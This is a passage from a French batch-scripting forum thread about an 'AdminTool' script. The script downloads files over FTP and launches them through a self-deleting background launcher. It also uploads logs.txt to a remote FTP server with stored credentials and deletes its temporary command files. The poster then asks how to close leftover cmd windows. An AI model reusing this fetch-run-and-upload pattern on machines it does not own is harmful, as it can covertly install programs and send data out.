>> ft2.do echo get %FILE3%
>> ft2.do echo get %FILE4%
>> ft2.do echo get %FILE5%
>> ft2.do echo get %FILE6%
>> ft2.do echo get %FILE7%
>> ft2.do echo get %FILE8%
>> ft2.do echo get %FILE9%
>> ft2.do echo get %FILE10%
>> ft2.do echo bye
ftp -s:ft2.do
del ft2.do

:: Création du launcher
:Launcher
del %dossier_admintool%\launcher.bat
> %dossier_admintool%\launcher.bat echo @echo off
>> %dossier_admintool%\launcher.bat echo Title Launcher - %currently_version% -- By AlonsO (www.batch.xoo.it)
if exist %dossier_admintool%\%FILE1% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE1%
if exist %dossier_admintool%\%FILE2% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE2%
if exist %dossier_admintool%\%FILE3% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE3%
if exist %dossier_admintool%\%FILE4% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE4%
if exist %dossier_admintool%\%FILE5% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE5%
if exist %dossier_admintool%\%FILE6% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE6%
if exist %dossier_admintool%\%FILE7% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE7%
if exist %dossier_admintool%\%FILE8% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE8%
if exist %dossier_admintool%\%FILE9% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE9%
if exist %dossier_admintool%\%FILE10% >> %dossier_admintool%\launcher.bat echo start %dossier_admintool%\%FILE10%
>> %dossier_admintool%\launcher.bat echo del %dossier_admintool%\launcher.bat

:: Execution du launcher
:Launch
start /b %dossier_admintool%\launcher.bat

:: Envois des logs
if %logs%==0 goto end
> ft4.do echo Open %FTPSERV%
>> ft4.do echo %USERFTP%
>> ft4.do echo %PASSWORD%
>> ft4.do echo lcd %dossier_admintool%
>> ft4.do echo cd %dossier_logs%
>> ft4.do echo send logs.txt
>> ft4.do echo bye
ftp -s:ft4.do
del ft4.do

:: Exit
:end
exit


Un petit problème encore x) Ca ne ferme pas toutes les fenetres du cmd à la fin & ça ouvre %dossier_admintool% ^^' J'ai pensé à un taskkill /f /im cmd.exe mais j'ai peur que le launcher et/où la fin du program ne se fasse pas correctement... Une solution ? Smile Sinon tout fonctionne parfaitement j'ai un peut remodif la chose héhé

Thanks Very Happy




______________________________________________________
Une question ? N'hésitez pas à me contacter par Message Privé ou via le topique concerné.
Visiter le site web du posteur
Message [RESOLU] AdminTool 


Montrer les messages depuis:
Répondre au sujet Page 2 sur 3
Aller à la page: <  1, 2, 3  >
  



Index | créer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Copyright 2008 - 2016 // Batch